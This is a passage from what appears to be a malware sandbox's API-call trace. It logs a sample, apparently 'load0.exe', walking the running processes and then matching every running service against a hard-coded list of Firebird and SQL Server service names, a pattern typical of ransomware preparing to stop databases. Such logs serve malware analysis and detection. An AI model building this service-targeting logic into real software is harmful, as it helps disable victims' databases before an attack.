szExeFile="wininit.exe")) returned 1 [0283.519] lstrlenW (lpString="wininit.exe") returned 11 [0283.519] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0283.520] lstrlenW (lpString="csrss.exe") returned 9 [0283.520] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0283.521] lstrlenW (lpString="winlogon.exe") returned 12 [0283.521] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0283.522] lstrlenW (lpString="services.exe") returned 12 [0283.522] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0283.522] lstrlenW (lpString="lsass.exe") returned 9 [0283.522] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0283.523] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0283.523] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0283.524] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0283.524] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.525] lstrlenW (lpString="svchost.exe") returned 11 [0283.525] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.526] lstrlenW (lpString="svchost.exe") returned 11 [0283.526] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0283.526] lstrlenW (lpString="dwm.exe") returned 7 [0283.527] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.527] lstrlenW (lpString="svchost.exe") returned 11 [0283.527] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.528] lstrlenW (lpString="svchost.exe") returned 11 [0283.528] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.529] lstrlenW (lpString="svchost.exe") returned 11 [0283.529] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.530] lstrlenW (lpString="svchost.exe") returned 11 [0283.530] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x39c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.530] lstrlenW (lpString="svchost.exe") returned 11 [0283.531] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.536] lstrlenW (lpString="svchost.exe") returned 11 [0283.536] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.536] lstrlenW (lpString="svchost.exe") returned 11 [0283.536] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.537] lstrlenW (lpString="svchost.exe") returned 11 [0283.537] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.538] lstrlenW (lpString="svchost.exe") returned 11 [0283.538] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.539] lstrlenW (lpString="svchost.exe") returned 11 [0283.539] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0283.540] lstrlenW (lpString="spoolsv.exe") returned 11 [0283.540] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.540] lstrlenW (lpString="svchost.exe") returned 11 [0283.541] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x698, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0283.541] lstrlenW (lpString="audiodg.exe") returned 11 [0283.541] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0283.542] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0283.542] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0283.543] lstrlenW (lpString="Memory Compression") returned 18 [0283.543] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0283.544] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0283.544] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0283.546] lstrlenW (lpString="sihost.exe") returned 10 [0283.546] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.547] lstrlenW (lpString="svchost.exe") returned 11 [0283.547] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0283.548] lstrlenW (lpString="taskhostw.exe") returned 13 [0283.548] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c4, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0283.549] lstrlenW (lpString="msoia.exe") returned 9 [0283.549] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0283.549] lstrlenW (lpString="explorer.exe") returned 12 [0283.549] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0283.550] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0283.550] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0283.551] lstrlenW (lpString="SearchUI.exe") returned 12 [0283.551] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0283.552] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0283.552] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x9c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0283.552] lstrlenW (lpString="load0.exe") returned 9 [0283.553] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdac, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0283.553] lstrlenW (lpString="load0.exe") returned 9 [0283.553] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.554] lstrlenW (lpString="svchost.exe") returned 11 [0283.554] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0283.555] CloseHandle (hObject=0x115c) returned 1 [0283.555] Sleep (dwMilliseconds=0x1f4) [0284.099] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3f64870 [0284.100] EnumServicesStatusExW (in: hSCManager=0x3f64870, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0) returned 0 [0284.100] GetLastError () returned 0xea [0284.100] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1d10) returned 0x3240080 [0284.101] EnumServicesStatusExW (in: hSCManager=0x3f64870, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3240080, cbBufSize=0x1d10, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3240080, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0) returned 1 [0284.102] CloseServiceHandle (hSCObject=0x3f64870) returned 1 [0284.102] lstrlenW (lpString="Appinfo") returned 7 [0284.102] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0284.102] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0284.102] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0284.102] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0284.102] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0284.102] lstrlenW (lpString="AppXSvc") returned 7 [0284.102] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0284.102] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0284.102] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0284.102] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0284.102] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0284.102] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0284.102] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0284.102] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0284.102] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0284.102] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0284.102] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0284.103] lstrlenW (lpString="Audiosrv") returned 8 [0284.103] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0284.103] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0284.103] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0284.103] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0284.103] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0284.103] lstrlenW (lpString="BFE") returned 3 [0284.103] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0284.103] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0284.103] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0284.103] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0284.103] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0284.103] lstrlenW (lpString="BITS") returned 4 [0284.103] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0284.103] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0284.103] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0284.103] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0284.103] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0284.103] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0284.103] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0284.103] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0284.103] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0284.103] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0284.103] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0284.103] lstrlenW (lpString="CDPSvc") returned 6 [0284.103] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0284.103] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0284.103] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0284.103] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0284.103] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0284.103] lstrlenW (lpString="ClickToRunSvc") returned 13 [0284.104] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0284.104] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0284.104] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0284.104] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0284.104] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0284.104] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0284.104] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0284.104] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0284.104] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0284.104] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0284.104] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0284.104] lstrlenW (lpString="CryptSvc") returned 8 [0284.104] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0284.104] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0284.104] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0284.104] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0284.104] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0284.104] lstrlenW (lpString="DcomLaunch") returned 10 [0284.104] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0284.104] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0284.104] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0284.104] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0284.104] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0284.104] lstrlenW (lpString="DeviceAssociationService") returned 24 [0284.104] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0284.104] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0284.104] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0284.104] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0284.104] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0284.104] lstrlenW (lpString="Dhcp") returned 4 [0284.105] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0284.105] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0284.105] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0284.105] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0284.105] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0284.105] lstrlenW (lpString="Dnscache") returned 8 [0284.105] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0284.105] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0284.105] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0284.105] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0284.105] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0284.105] lstrlenW (lpString="DPS") returned 3 [0284.105] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0284.105] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0284.105] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0284.105] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0284.105] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0284.105] lstrlenW (lpString="DusmSvc") returned 7 [0284.105] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0284.105] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0284.105] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0284.105] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0284.105] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0284.105] lstrlenW (lpString="EventLog") returned 8 [0284.105] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0284.105] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0284.105] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0284.105] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0284.105] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0284.106] lstrlenW (lpString="EventSystem") returned 11 [0284.106] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0284.106] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0284.106] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0284.106] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0284.106] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0284.106] lstrlenW (lpString="FontCache") returned 9 [0284.106] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0284.106] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0284.106] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0284.106] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0284.106] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0284.106] lstrlenW (lpString="gpsvc") returned 5 [0284.106] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0284.106] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0284.106] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0284.106] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0284.106] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0284.106] lstrlenW (lpString="iphlpsvc") returned 8 [0284.106] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0284.106] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0284.106] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0284.106] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0284.106] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0284.106] lstrlenW (lpString="KeyIso") returned 6 [0284.106] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0284.106] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0284.106] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0284.106] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0284.106] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0284.106] lstrlenW (lpString="LanmanServer") returned 12 [0284.107] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0284.107] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0284.107] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0284.107] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0284.107] lstrcmpiW (lpString1="sqlserveradhelper", 